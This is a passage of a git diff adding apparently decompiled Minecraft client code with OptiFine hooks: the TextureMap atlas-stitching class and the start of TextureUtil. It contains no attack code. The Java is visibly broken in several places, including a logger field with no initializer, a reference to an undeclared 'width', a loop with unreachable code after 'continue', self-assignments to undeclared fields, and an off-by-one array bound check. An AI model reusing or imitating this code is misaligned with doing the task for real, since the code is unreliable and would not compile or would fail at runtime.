+  private final List listAnimatedSprites;
+  private final Map mapRegisteredSprites;
+  private final Map mapUploadedSprites;
+  private final String basePath;
+  private final IIconCreator field_174946_m;
+  private int mipmapLevels;
+  private final TextureAtlasSprite missingImage;
+  private static final String __OBFID = "CL_00001058";
+  private TextureAtlasSprite[] iconGrid;
+  private int iconGridSize;
+  private int iconGridCountX;
+  private int iconGridCountY;
+  private double iconGridSizeU;
+  private double iconGridSizeV;
+  private static final boolean ENABLE_SKIP = Boolean.parseBoolean(System.getProperty("fml.skipFirstTextureLoad", "true"));
+  private boolean skipFirst;
+  public int atlasWidth;
+  public int atlasHeight;
+  
+  public TextureMap(String p_i46099_1_)
+  {
+    this(p_i46099_1_, null);
+  }
+  
+  public TextureMap(String p_i46099_1_, boolean skipFirst)
+  {
+    this(p_i46099_1_, null, skipFirst);
+  }
+  
+  public TextureMap(String p_i46100_1_, IIconCreator p_i46100_2_)
+  {
+    this(p_i46100_1_, p_i46100_2_, false);
+  }
+  
+  public TextureMap(String p_i46100_1_, IIconCreator p_i46100_2_, boolean skipFirst)
+  {
+    iconGrid = null;
+    iconGridSize = -1;
+    iconGridCountX = -1;
+    iconGridCountY = -1;
+    iconGridSizeU = -1.0D;
+    iconGridSizeV = -1.0D;
+    this.skipFirst = false;
+    atlasWidth = 0;
+    atlasHeight = 0;
+    listAnimatedSprites = Lists.newArrayList();
+    mapRegisteredSprites = Maps.newHashMap();
+    mapUploadedSprites = Maps.newHashMap();
+    missingImage = new TextureAtlasSprite("missingno");
+    basePath = p_i46100_1_;
+    field_174946_m = p_i46100_2_;
+    this.skipFirst = ((skipFirst) && (ENABLE_SKIP));
+  }
+  
+  private void initMissingImage()
+  {
+    int size = getMinSpriteSize();
+    int[] var1 = getMissingImageData(size);
+    missingImage.setIconWidth(size);
+    missingImage.setIconHeight(size);
+    int[][] var2 = new int[mipmapLevels + 1][];
+    var2[0] = var1;
+    missingImage.setFramesTextureData(Lists.newArrayList(new int[][][] { var2 }));
+    missingImage.setIndexInMap(0);
+  }
+  
+  public void loadTexture(IResourceManager p_110551_1_) throws IOException
+  {
+    ShadersTex.resManager = p_110551_1_;
+    
+    if (field_174946_m != null)
+    {
+      func_174943_a(p_110551_1_, field_174946_m);
+    }
+  }
+  
+  public void func_174943_a(IResourceManager p_174943_1_, IIconCreator p_174943_2_)
+  {
+    mapRegisteredSprites.clear();
+    p_174943_2_.func_177059_a(this);
+    
+    if (mipmapLevels >= 4)
+    {
+      mipmapLevels = detectMaxMipmapLevel(mapRegisteredSprites, p_174943_1_);
+      Config.log("Mipmap levels: " + mipmapLevels);
+    }
+    
+    initMissingImage();
+    deleteGlTexture();
+    loadTextureAtlas(p_174943_1_);
+  }
+  
+  public void loadTextureAtlas(IResourceManager p_110571_1_)
+  {
+    ShadersTex.resManager = p_110571_1_;
+    Config.dbg("Multitexture: " + Config.isMultiTexture());
+    
+    if (Config.isMultiTexture())
+    {
+      Iterator var2 = mapUploadedSprites.values().iterator();
+      
+      while (var2.hasNext())
+      {
+        TextureAtlasSprite var3 = (TextureAtlasSprite)var2.next();
+        var3.deleteSpriteTexture();
+      }
+    }
+    
+    ConnectedTextures.updateIcons(this);
+    CustomItems.updateIcons(this);
+    int var21 = Minecraft.getGLMaximumTextureSize();
+    Stitcher var31 = new Stitcher(var21, var21, true, 0, mipmapLevels);
+    mapUploadedSprites.clear();
+    listAnimatedSprites.clear();
+    int var4 = Integer.MAX_VALUE;
+    Reflector.callVoid(Reflector.ForgeHooksClient_onTextureStitchedPre, new Object[] { this });
+    int minSpriteSize = getMinSpriteSize();
+    iconGridSize = minSpriteSize;
+    int var5 = 1 << mipmapLevels;
+    Iterator var6 = mapRegisteredSprites.entrySet().iterator();
+    
+
+
+    while ((var6.hasNext()) && (!skipFirst))
+    {
+      Map.Entry var25 = (Map.Entry)var6.next();
+      TextureAtlasSprite var26 = (TextureAtlasSprite)var25.getValue();
+      ResourceLocation var27 = new ResourceLocation(var26.getIconName());
+      ResourceLocation var28 = completeResourceLocation(var27, 0);
+      
+      if (var26.hasCustomLoader(p_110571_1_, var27))
+      {
+        if (!var26.load(p_110571_1_, var27))
+        {
+          var4 = Math.min(var4, Math.min(var26.getIconWidth(), var26.getIconHeight()));
+          var31.addSprite(var26);
+        }
+        
+        Config.dbg("Custom loader: " + var26);
+      }
+      else
+      {
+        try
+        {
+          IResource var30 = ShadersTex.loadResource(p_110571_1_, var28);
+          BufferedImage[] var311 = new BufferedImage[1 + mipmapLevels];
+          var311[0] = TextureUtil.func_177053_a(var30.getInputStream());
+          
+          if (var311 != null)
+          {
+            int sheetHeight = var311[0].getWidth();
+            
+            if ((sheetHeight < minSpriteSize) || (mipmapLevels > 0))
+            {
+              var311[0] = (mipmapLevels > 0 ? TextureUtils.scaleToPowerOfTwo(var311[0], minSpriteSize) : TextureUtils.scaleMinTo(var311[0], minSpriteSize));
+              int listSprites = var311[0].getWidth();
+              
+              if (listSprites != sheetHeight)
+              {
+                if (!TextureUtils.isPowerOfTwo(sheetHeight))
+                {
+                  Config.log("Scaled non power of 2: " + var26.getIconName() + ", " + sheetHeight + " -> " + listSprites);
+                }
+                else
+                {
+                  Config.log("Scaled too small texture: " + var26.getIconName() + ", " + sheetHeight + " -> " + listSprites);
+                }
+              }
+            }
+          }
+          
+          TextureMetadataSection sheetHeight1 = (TextureMetadataSection)var30.getMetadata("texture");
+          
+          if (sheetHeight1 != null)
+          {
+            List listSprites1 = sheetHeight1.getListMipmaps();
+            
+
+            if (!listSprites1.isEmpty())
+            {
+              int tas = var311[0].getWidth();
+              int it = var311[0].getHeight();
+              
+              if ((MathHelper.roundUpToPowerOfTwo(tas) != tas) || (MathHelper.roundUpToPowerOfTwo(it) != it))
+              {
+                throw new RuntimeException("Unable to load extra miplevels, source-texture is not power of two");
+              }
+            }
+            
+            Iterator tas1 = listSprites1.iterator();
+            
+            while (tas1.hasNext())
+            {
+              int it = ((Integer)tas1.next()).intValue();
+              
+              if ((it > 0) && (it < var311.length - 1) && (var311[it] == null))
+              {
+                ResourceLocation ss = completeResourceLocation(var27, it);
+                
+                try
+                {
+                  var311[it] = TextureUtil.func_177053_a(ShadersTex.loadResource(p_110571_1_, ss).getInputStream());
+                }
+                catch (IOException var251)
+                {
+                  logger.error("Unable to load miplevel {} from: {}", new Object[] { Integer.valueOf(it), ss, var251 });
+                }
+              }
+            }
+          }
+          
+          AnimationMetadataSection listSprites2 = (AnimationMetadataSection)var30.getMetadata("animation");
+          var26.func_180598_a(var311, listSprites2);
+        }
+        catch (RuntimeException var261)
+        {
+          logger.error("Unable to parse metadata from " + var28, var261);
+          ReflectorForge.FMLClientHandler_trackBrokenTexture(var28, var261.getMessage());
+          continue;
+        }
+        catch (IOException var271)
+        {
+          logger.error("Using missing texture, unable to load " + var28 + ", " + var271.getClass().getName());
+          ReflectorForge.FMLClientHandler_trackMissingTexture(var28);
+          continue;
+        }
+        
+        var4 = Math.min(var4, Math.min(var26.getIconWidth(), var26.getIconHeight()));
+        int var301 = Math.min(Integer.lowestOneBit(var26.getIconWidth()), Integer.lowestOneBit(var26.getIconHeight()));
+        
+        if (var301 < var5)
+        {
+          logger.warn("Texture {} with size {}x{} limits mip level from {} to {}", new Object[] { var28, Integer.valueOf(var26.getIconWidth()), Integer.valueOf(var26.getIconHeight()), Integer.valueOf(MathHelper.calculateLogBaseTwo(var5)), Integer.valueOf(MathHelper.calculateLogBaseTwo(var301)) });
+          var5 = var301;
+        }
+        
+        var31.addSprite(var26);
+      }
+    }
+    
+    int var252 = Math.min(var4, var5);
+    int var262 = MathHelper.calculateLogBaseTwo(var252);
+    
+    if (var262 < 0)
+    {
+      var262 = 0;
+    }
+    
+    if (var262 < mipmapLevels)
+    {
+      logger.info("{}: dropping miplevel from {} to {}, because of minimum power of two: {}", new Object[] { basePath, Integer.valueOf(mipmapLevels), Integer.valueOf(var262), Integer.valueOf(var252) });
+      mipmapLevels = var262;
+    }
+    
+    Iterator var272 = mapRegisteredSprites.values().iterator();
+    
+    while ((var272.hasNext()) && (!skipFirst))
+    {
+      final TextureAtlasSprite var281 = (TextureAtlasSprite)var272.next();
+      
+      try
+      {
+        var281.generateMipmaps(mipmapLevels);
+      }
+      catch (Throwable var24)
+      {
+        CrashReport var311 = CrashReport.makeCrashReport(var24, "Applying mipmap");
+        CrashReportCategory sheetWidth = var311.makeCategory("Sprite being mipmapped");
+        sheetWidth.addCrashSectionCallable("Sprite name", new Callable()
+        {
+          private static final String __OBFID = "CL_00001059";
+          
+          public String call() {
+            return var281.getIconName();
+          }
+        });
+        sheetWidth.addCrashSectionCallable("Sprite size", new Callable()
+        {
+          private static final String __OBFID = "CL_00001060";
+          
+          public String call() {
+            return var281.getIconWidth() + " x " + var281.getIconHeight();
+          }
+        });
+        sheetWidth.addCrashSectionCallable("Sprite frames", new Callable()
+        {
+          private static final String __OBFID = "CL_00001061";
+          
+          public String call() {
+            return var281.getFrameCount() + " frames";
+          }
+        });
+        sheetWidth.addCrashSection("Mipmap levels", Integer.valueOf(mipmapLevels));
+        throw new ReportedException(var311);
+      }
+    }
+    
+    missingImage.generateMipmaps(mipmapLevels);
+    var31.addSprite(missingImage);
+    skipFirst = false;
+    
+    try
+    {
+      var31.doStitch();
+    }
+    catch (StitcherException var23)
+    {
+      throw var23;
+    }
+    
+    logger.info("Created: {}x{} {}-atlas", new Object[] { Integer.valueOf(var31.getCurrentWidth()), Integer.valueOf(var31.getCurrentHeight()), basePath });
+    
+    if (Config.isShaders())
+    {
+      ShadersTex.allocateTextureMap(getGlTextureId(), mipmapLevels, var31.getCurrentWidth(), var31.getCurrentHeight(), var31, this);
+    }
+    else
+    {
+      TextureUtil.func_180600_a(getGlTextureId(), mipmapLevels, var31.getCurrentWidth(), var31.getCurrentHeight());
+    }
+    
+    HashMap var282 = Maps.newHashMap(mapRegisteredSprites);
+    Iterator var302 = var31.getStichSlots().iterator();
+    
+
+    while (var302.hasNext())
+    {
+      TextureAtlasSprite var312 = (TextureAtlasSprite)var302.next();
+      
+      if (Config.isShaders())
+      {
+        ShadersTex.setIconName(ShadersTex.setSprite(var312).getIconName());
+      }
+      
+      String sheetWidth1 = var312.getIconName();
+      var282.remove(sheetWidth1);
+      mapUploadedSprites.put(sheetWidth1, var312);
+      
+      try
+      {
+        if (Config.isShaders())
+        {
+          ShadersTex.uploadTexSubForLoadAtlas(var312.getFrameTextureData(0), var312.getIconWidth(), var312.getIconHeight(), var312.getOriginX(), var312.getOriginY(), false, false);
+        }
+        else
+        {
+          TextureUtil.uploadTextureMipmap(var312.getFrameTextureData(0), var312.getIconWidth(), var312.getIconHeight(), var312.getOriginX(), var312.getOriginY(), false, false);
+        }
+      }
+      catch (Throwable var22)
+      {
+        CrashReport listSprites3 = CrashReport.makeCrashReport(var22, "Stitching texture atlas");
+        CrashReportCategory it1 = listSprites3.makeCategory("Texture being stitched together");
+        it1.addCrashSection("Atlas path", basePath);
+        it1.addCrashSection("Sprite", var312);
+        throw new ReportedException(listSprites3);
+      }
+      
+      if (var312.hasAnimationMetadata())
+      {
+        listAnimatedSprites.add(var312);
+      }
+    }
+    
+    var302 = var282.values().iterator();
+    
+    while (var302.hasNext())
+    {
+      TextureAtlasSprite var312 = (TextureAtlasSprite)var302.next();
+      var312.copyFrom(missingImage);
+    }
+    
+    if (Config.isMultiTexture())
+    {
+      int sheetWidth2 = var31.getCurrentWidth();
+      int sheetHeight = var31.getCurrentHeight();
+      List listSprites1 = var31.getStichSlots();
+      Iterator it2 = listSprites1.iterator();
+      
+      while (it2.hasNext())
+      {
+        TextureAtlasSprite tas2 = (TextureAtlasSprite)it2.next();
+        sheetWidth = sheetWidth2;
+        sheetHeight = sheetHeight;
+        mipmapLevels = mipmapLevels;
+        TextureAtlasSprite ss1 = spriteSingle;
+        
+        if (ss1 != null)
+        {
+          sheetWidth = sheetWidth2;
+          sheetHeight = sheetHeight;
+          mipmapLevels = mipmapLevels;
+          tas2.bindSpriteTexture();
+          boolean texBlur = false;
+          boolean texClamp = true;
+          TextureUtil.uploadTextureMipmap(ss1.getFrameTextureData(0), ss1.getIconWidth(), ss1.getIconHeight(), ss1.getOriginX(), ss1.getOriginY(), texBlur, texClamp);
+        }
+      }
+      
+      Config.getMinecraft().getTextureManager().bindTexture(locationBlocksTexture);
+    }
+    
+    Reflector.callVoid(Reflector.ForgeHooksClient_onTextureStitchedPost, new Object[] { this });
+    updateIconGrid(var31.getCurrentWidth(), var31.getCurrentHeight());
+    
+    if (Config.equals(System.getProperty("saveTextureMap"), "true"))
+    {
+      Config.dbg("Exporting texture map to: " + basePath + "_x.png");
+      TextureUtil.func_177055_a(basePath.replaceAll("/", "_"), getGlTextureId(), mipmapLevels, var31.getCurrentWidth(), var31.getCurrentHeight());
+    }
+  }
+  
+  public ResourceLocation completeResourceLocation(ResourceLocation p_147634_1_, int p_147634_2_)
+  {
+    return p_147634_2_ == 0 ? new ResourceLocation(p_147634_1_.getResourceDomain(), String.format("%s/%s%s", new Object[] { basePath, p_147634_1_.getResourcePath(), ".png" })) : isAbsoluteLocation(p_147634_1_) ? new ResourceLocation(p_147634_1_.getResourceDomain(), p_147634_1_.getResourcePath() + "mipmap" + p_147634_2_ + ".png") : p_147634_2_ == 0 ? new ResourceLocation(p_147634_1_.getResourceDomain(), p_147634_1_.getResourcePath() + ".png") : new ResourceLocation(p_147634_1_.getResourceDomain(), String.format("%s/mipmaps/%s.%d%s", new Object[] { basePath, p_147634_1_.getResourcePath(), Integer.valueOf(p_147634_2_), ".png" }));
+  }
+  
+  public TextureAtlasSprite getAtlasSprite(String p_110572_1_)
+  {
+    TextureAtlasSprite var2 = (TextureAtlasSprite)mapUploadedSprites.get(p_110572_1_);
+    
+    if (var2 == null)
+    {
+      var2 = missingImage;
+    }
+    
+    return var2;
+  }
+  
+  public void updateAnimations()
+  {
+    if (Config.isShaders())
+    {
+      ShadersTex.updatingTex = getMultiTexID();
+    }
+    
+    TextureUtil.bindTexture(getGlTextureId());
+    Iterator var1 = listAnimatedSprites.iterator();
+    
+    while (var1.hasNext())
+    {
+      TextureAtlasSprite it = (TextureAtlasSprite)var1.next();
+      
+      if (isTerrainAnimationActive(it))
+      {
+        it.updateAnimation();
+      }
+    }
+    
+    if (Config.isMultiTexture())
+    {
+      Iterator it1 = listAnimatedSprites.iterator();
+      
+      while (it1.hasNext())
+      {
+        TextureAtlasSprite ts = (TextureAtlasSprite)it1.next();
+        
+        if (isTerrainAnimationActive(ts))
+        {
+          TextureAtlasSprite spriteSingle = spriteSingle;
+          
+          if (spriteSingle != null)
+          {
+            if ((ts == TextureUtils.iconClock) || (ts == TextureUtils.iconCompass))
+            {
+              frameCounter = frameCounter;
+            }
+            
+            ts.bindSpriteTexture();
+            spriteSingle.updateAnimation();
+          }
+        }
+      }
+      
+      TextureUtil.bindTexture(getGlTextureId());
+    }
+    
+    if (Config.isShaders())
+    {
+      ShadersTex.updatingTex = null;
+    }
+  }
+  
+  public TextureAtlasSprite func_174942_a(ResourceLocation p_174942_1_)
+  {
+    if (p_174942_1_ == null)
+    {
+      throw new IllegalArgumentException("Location cannot be null!");
+    }
+    
+
+    TextureAtlasSprite var2 = (TextureAtlasSprite)mapRegisteredSprites.get(p_174942_1_.toString());
+    
+    if (var2 == null)
+    {
+      var2 = TextureAtlasSprite.func_176604_a(p_174942_1_);
+      mapRegisteredSprites.put(p_174942_1_.toString(), var2);
+      
+      if (((var2 instanceof TextureAtlasSprite)) && (var2.getIndexInMap() < 0))
+      {
+        var2.setIndexInMap(mapRegisteredSprites.size());
+      }
+    }
+    
+    return var2;
+  }
+  
+
+  public void tick()
+  {
+    updateAnimations();
+  }
+  
+  public void setMipmapLevels(int p_147633_1_)
+  {
+    mipmapLevels = p_147633_1_;
+  }
+  
+  public TextureAtlasSprite func_174944_f()
+  {
+    return missingImage;
+  }
+  
+  public TextureAtlasSprite getTextureExtry(String name)
+  {
+    ResourceLocation loc = new ResourceLocation(name);
+    return (TextureAtlasSprite)mapRegisteredSprites.get(loc.toString());
+  }
+  
+  public boolean setTextureEntry(String name, TextureAtlasSprite entry)
+  {
+    if (!mapRegisteredSprites.containsKey(name))
+    {
+      mapRegisteredSprites.put(name, entry);
+      
+      if (entry.getIndexInMap() < 0)
+      {
+        entry.setIndexInMap(mapRegisteredSprites.size());
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+  private boolean isAbsoluteLocation(ResourceLocation loc)
+  {
+    String path = loc.getResourcePath();
+    return isAbsoluteLocationPath(path);
+  }
+  
+  private boolean isAbsoluteLocationPath(String resPath)
+  {
+    String path = resPath.toLowerCase();
+    return (path.startsWith("mcpatcher/")) || (path.startsWith("optifine/"));
+  }
+  
+  public TextureAtlasSprite getSpriteSafe(String name)
+  {
+    ResourceLocation loc = new ResourceLocation(name);
+    return (TextureAtlasSprite)mapRegisteredSprites.get(loc.toString());
+  }
+  
+  private boolean isTerrainAnimationActive(TextureAtlasSprite ts)
+  {
+    return (ts != TextureUtils.iconWaterStill) && (ts != TextureUtils.iconWaterFlow) ? Config.isAnimatedLava() : (ts != TextureUtils.iconLavaStill) && (ts != TextureUtils.iconLavaFlow) ? Config.isAnimatedFire() : (ts != TextureUtils.iconFireLayer0) && (ts != TextureUtils.iconFireLayer1) ? true : (ts != TextureUtils.iconClock) && (ts != TextureUtils.iconCompass) ? Config.isAnimatedTerrain() : ts == TextureUtils.iconPortal ? Config.isAnimatedPortal() : Config.isAnimatedWater();
+  }
+  
+  public int getCountRegisteredSprites()
+  {
+    return mapRegisteredSprites.size();
+  }
+  
+  private int detectMaxMipmapLevel(Map mapSprites, IResourceManager rm)
+  {
+    int minSize = detectMinimumSpriteSize(mapSprites, rm, 20);
+    
+    if (minSize < 16)
+    {
+      minSize = 16;
+    }
+    
+    minSize = MathHelper.roundUpToPowerOfTwo(minSize);
+    
+    if (minSize > 16)
+    {
+      Config.log("Sprite size: " + minSize);
+    }
+    
+    int minLevel = MathHelper.calculateLogBaseTwo(minSize);
+    
+    if (minLevel < 4)
+    {
+      minLevel = 4;
+    }
+    
+    return minLevel;
+  }
+  
+  private int detectMinimumSpriteSize(Map mapSprites, IResourceManager rm, int percentScale)
+  {
+    HashMap mapSizeCounts = new HashMap();
+    Set entrySetSprites = mapSprites.entrySet();
+    Iterator countSprites = entrySetSprites.iterator();
+    
+
+    while (countSprites.hasNext())
+    {
+      Map.Entry setSizes = (Map.Entry)countSprites.next();
+      TextureAtlasSprite setSizesSorted = (TextureAtlasSprite)setSizes.getValue();
+      ResourceLocation minSize = new ResourceLocation(setSizesSorted.getIconName());
+      ResourceLocation countScale = completeResourceLocation(minSize, 0);
+      
+      if (!setSizesSorted.hasCustomLoader(rm, minSize))
+      {
+        try
+        {
+          IResource countScaleMax = rm.getResource(countScale);
+          
+          if (countScaleMax != null)
+          {
+            InputStream it = countScaleMax.getInputStream();
+            
+            if (it != null)
+            {
+              Dimension size = TextureUtils.getImageSize(it, "png");
+              
+              if (size != null)
+              {
+                int count = width;
+                int width2 = MathHelper.roundUpToPowerOfTwo(count);
+                
+                if (!mapSizeCounts.containsKey(Integer.valueOf(width2)))
+                {
+                  mapSizeCounts.put(Integer.valueOf(width2), Integer.valueOf(1));
+                }
+                else
+                {
+                  int count1 = ((Integer)mapSizeCounts.get(Integer.valueOf(width2))).intValue();
+                  mapSizeCounts.put(Integer.valueOf(width2), Integer.valueOf(count1 + 1));
+                }
+              }
+            }
+          }
+        }
+        catch (Exception localException) {}
+      }
+    }
+    
+
+
+
+    int countSprites1 = 0;
+    Set setSizes1 = mapSizeCounts.keySet();
+    TreeSet setSizesSorted1 = new TreeSet(setSizes1);
+    
+    int countScaleMax1;
+    
+    for (Iterator minSize1 = setSizesSorted1.iterator(); minSize1.hasNext(); countSprites1 += countScaleMax1)
+    {
+      int countScale1 = ((Integer)minSize1.next()).intValue();
+      countScaleMax1 = ((Integer)mapSizeCounts.get(Integer.valueOf(countScale1))).intValue();
+    }
+    
+    int minSize2 = 16;
+    int countScale1 = 0;
+    int countScaleMax1 = countSprites1 * percentScale / 100;
+    Iterator it1 = setSizesSorted1.iterator();
+    
+    do
+    {
+      if (!it1.hasNext())
+      {
+        return minSize2;
+      }
+      
+      int size1 = ((Integer)it1.next()).intValue();
+      int count = ((Integer)mapSizeCounts.get(Integer.valueOf(size1))).intValue();
+      countScale1 += count;
+      
+      if (size1 > minSize2)
+      {
+        minSize2 = size1;
+      }
+    } while (
+    
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      countScale1 <= countScaleMax1);
+    
+    return minSize2;
+  }
+  
+  private int getMinSpriteSize()
+  {
+    int minSize = 1 << mipmapLevels;
+    
+    if (minSize < 8)
+    {
+      minSize = 8;
+    }
+    
+    return minSize;
+  }
+  
+  private int[] getMissingImageData(int size)
+  {
+    BufferedImage bi = new BufferedImage(16, 16, 2);
+    bi.setRGB(0, 0, 16, 16, TextureUtil.missingTextureData, 0, 16);
+    BufferedImage bi2 = TextureUtils.scaleToPowerOfTwo(bi, size);
+    int[] data = new int[size * size];
+    bi2.getRGB(0, 0, size, size, data, 0, size);
+    return data;
+  }
+  
+  public boolean isTextureBound()
+  {
+    int boundTexId = GlStateManager.getBoundTexture();
+    int texId = getGlTextureId();
+    return boundTexId == texId;
+  }
+  
+  private void updateIconGrid(int sheetWidth, int sheetHeight)
+  {
+    iconGridCountX = -1;
+    iconGridCountY = -1;
+    iconGrid = null;
+    
+    if (iconGridSize > 0)
+    {
+      iconGridCountX = (sheetWidth / iconGridSize);
+      iconGridCountY = (sheetHeight / iconGridSize);
+      iconGrid = new TextureAtlasSprite[iconGridCountX * iconGridCountY];
+      iconGridSizeU = (1.0D / iconGridCountX);
+      iconGridSizeV = (1.0D / iconGridCountY);
+      Iterator it = mapUploadedSprites.values().iterator();
+      int iuMax;
+      int iu; for (; it.hasNext(); 
+          
+
+
+
+
+
+
+
+
+
+
+
+
+          iu <= iuMax)
+      {
+        TextureAtlasSprite ts = (TextureAtlasSprite)it.next();
+        double deltaU = 0.5D / sheetWidth;
+        double deltaV = 0.5D / sheetHeight;
+        double uMin = Math.min(ts.getMinU(), ts.getMaxU()) + deltaU;
+        double vMin = Math.min(ts.getMinV(), ts.getMaxV()) + deltaV;
+        double uMax = Math.max(ts.getMinU(), ts.getMaxU()) - deltaU;
+        double vMax = Math.max(ts.getMinV(), ts.getMaxV()) - deltaV;
+        int iuMin = (int)(uMin / iconGridSizeU);
+        int ivMin = (int)(vMin / iconGridSizeV);
+        iuMax = (int)(uMax / iconGridSizeU);
+        int ivMax = (int)(vMax / iconGridSizeV);
+        
+        iu = iuMin; continue;
+        
+        if ((iu >= 0) && (iu < iconGridCountX))
+        {
+          for (int iv = ivMin; iv <= ivMax; iv++)
+          {
+            if ((iv >= 0) && (iv < iconGridCountX))
+            {
+              int index = iv * iconGridCountX + iu;
+              iconGrid[index] = ts;
+            }
+            else
+            {
+              Config.warn("Invalid grid V: " + iv + ", icon: " + ts.getIconName());
+            }
+            
+          }
+          
+        } else {
+          Config.warn("Invalid grid U: " + iu + ", icon: " + ts.getIconName());
+        }
+        iu++;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TextureAtlasSprite getIconByUV(double u, double v)
+  {
+    if (iconGrid == null)
+    {
+      return null;
+    }
+    
+
+    int iu = (int)(u / iconGridSizeU);
+    int iv = (int)(v / iconGridSizeV);
+    int index = iv * iconGridCountX + iu;
+    return (index >= 0) && (index <= iconGrid.length) ? iconGrid[index] : null;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/renderer/texture/TextureUtil.java b/src/minecraft/net/minecraft/client/renderer/texture/TextureUtil.java
new file mode 100644
index 0000000..890f4c2
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/renderer/texture/TextureUtil.java
@@ -0,0 +1,400 @@
+package net.minecraft.client.renderer.texture;
+
+import java.awt.image.BufferedImage;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.Buffer;
+import java.nio.IntBuffer;
+import javax.imageio.ImageIO;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.ResourceLocation;
+import optifine.Config;
+import optifine.Mipmaps;
+import optifine.Reflector;
+import optifine.ReflectorClass;
+import org.apache.commons.io.IOUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.BufferUtils;
+import org.lwjgl.opengl.GL11;
+
+public class TextureUtil
+{
+  private static final Logger logger = ;
+  private static final IntBuffer dataBuffer = GLAllocation.createDirectIntBuffer(4194304);
+  public static final DynamicTexture missingTexture = new DynamicTexture(16, 16);
+  public static final int[] missingTextureData = missingTexture.getTextureData();
+  
+
+
+  public static int glGenTextures()
+  {
+    return GlStateManager.func_179146_y();
+  }
+  
+  public static void deleteTexture(int p_147942_0_)
+  {
+    GlStateManager.func_179150_h(p_147942_0_);
+  }
+  
+  public static int uploadTextureImage(int p_110987_0_, BufferedImage p_110987_1_)
+  {
+    return uploadTextureImageAllocate(p_110987_0_, p_110987_1_, false, false);
+  }
+  
+  public static void uploadTexture(int p_110988_0_, int[] p_110988_1_, int p_110988_2_, int p_110988_3_)
+  {
+    bindTexture(p_110988_0_);
+    uploadTextureSub(0, p_110988_1_, p_110988_2_, p_110988_3_, 0, 0, false, false, false);
+  }
+  
+  public static int[][] generateMipmapData(int p_147949_0_, int p_147949_1_, int[][] p_147949_2_)
+  {
+    int[][] var3 = new int[p_147949_0_ + 1][];
+    var3[0] = p_147949_2_[0];
+    
+    if (p_147949_0_ > 0)
+    {
+      boolean var4 = false;
+      
+
+      for (int var5 = 0; var5 < p_147949_2_.length; var5++)
+      {
+        if (p_147949_2_[0][var5] >> 24 == 0)
+        {
+          var4 = true;
+          break;
+        }
+      }
+      
+      for (var5 = 1; var5 <= p_147949_0_; var5++)
+      {
+        if (p_147949_2_[var5] != null)
+        {
+          var3[var5] = p_147949_2_[var5];
+        }
+        else
+        {
+          int[] var6 = var3[(var5 - 1)];
+          int[] var7 = new int[var6.length >> 2];
+          int var8 = p_147949_1_ >> var5;
+          int var9 = var7.length / var8;
+          int var10 = var8 << 1;
+          
+          for (int var11 = 0; var11 < var8; var11++)
+          {
+            for (int var12 = 0; var12 < var9; var12++)
+            {
+              int var13 = 2 * (var11 + var12 * var10);
+              var7[(var11 + var12 * var8)] = func_147943_a(var6[(var13 + 0)], var6[(var13 + 1)], var6[(var13 + 0 + var10)], var6[(var13 + 1 + var10)], var4);
+            }
+          }
+          
+          var3[var5] = var7;
+        }
+      }
+    }
+    
+    return var3;
+  }
+  
+  private static int func_147943_a(int p_147943_0_, int p_147943_1_, int p_147943_2_, int p_147943_3_, boolean p_147943_4_)
+  {
+    return Mipmaps.alphaBlend(p_147943_0_, p_147943_1_, p_147943_2_, p_147943_3_);
+  }
+  
+  private static int func_147944_a(int p_147944_0_, int p_147944_1_, int p_147944_2_, int p_147944_3_, int p_147944_4_)
+  {
+    float var5 = (float)Math.pow((p_147944_0_ >> p_147944_4_ & 0xFF) / 255.0F, 2.2D);
+    float var6 = (float)Math.pow((p_147944_1_ >> p_147944_4_ & 0xFF) / 255.0F, 2.2D);
+    float var7 = (float)Math.pow((p_147944_2_ >> p_147944_4_ & 0xFF) / 255.0F, 2.2D);
+    float var8 = (float)Math.pow((p_147944_3_ >> p_147944_4_ & 0xFF) / 255.0F, 2.2D);
+    float var9 = (float)Math.pow((var5 + var6 + var7 + var8) * 0.25D, 0.45454545454545453D);
+    return (int)(var9 * 255.0D);
+  }
+  
+  public static void uploadTextureMipmap(int[][] p_147955_0_, int p_147955_1_, int p_147955_2_, int p_147955_3_, int p_147955_4_, boolean p_147955_5_, boolean p_147955_6_)
+  {
+    for (int var7 = 0; var7 < p_147955_0_.length; var7++)
+    {
+      int[] var8 = p_147955_0_[var7];
+      uploadTextureSub(var7, var8, p_147955_1_ >> var7, p_147955_2_ >> var7, p_147955_3_ >> var7, p_147955_4_ >> var7, p_147955_5_, p_147955_6_, p_147955_0_.length > 1);
+    }
+  }
+  
+  private static void uploadTextureSub(int p_147947_0_, int[] p_147947_1_, int p_147947_2_, int p_147947_3_, int p_147947_4_, int p_147947_5_, boolean p_147947_6_, boolean p_147947_7_, boolean p_147947_8_)
+  {
+    int var9 = 4194304 / p_147947_2_;
+    func_147954_b(p_147947_6_, p_147947_8_);
+    setTextureClamped(p_147947_7_);
+    
+    int var12;
+    for (int var10 = 0; var10 < p_147947_2_ * p_147947_3_; var10 += p_147947_2_ * var12)
+    {
+      int var11 = var10 / p_147947_2_;
+      var12 = Math.min(var9, p_147947_3_ - var11);
+      int var13 = p_147947_2_ * var12;
+      copyToBufferPos(p_147947_1_, var10, var13);
+      GL11.glTexSubImage2D(3553, p_147947_0_, p_147947_4_, p_147947_5_ + var11, p_147947_2_, var12, 32993, 33639, dataBuffer);
+    }
+  }
+  
+  public static int uploadTextureImageAllocate(int p_110989_0_, BufferedImage p_110989_1_, boolean p_110989_2_, boolean p_110989_3_)
+  {
+    allocateTexture(p_110989_0_, p_110989_1_.getWidth(), p_110989_1_.getHeight());
+    return uploadTextureImageSub(p_110989_0_, p_110989_1_, 0, 0, p_110989_2_, p_110989_3_);
+  }
+  
+  public static void allocateTexture(int p_110991_0_, int p_110991_1_, int p_110991_2_)
+  {
+    func_180600_a(p_110991_0_, 0, p_110991_1_, p_110991_2_);
+  }
+  
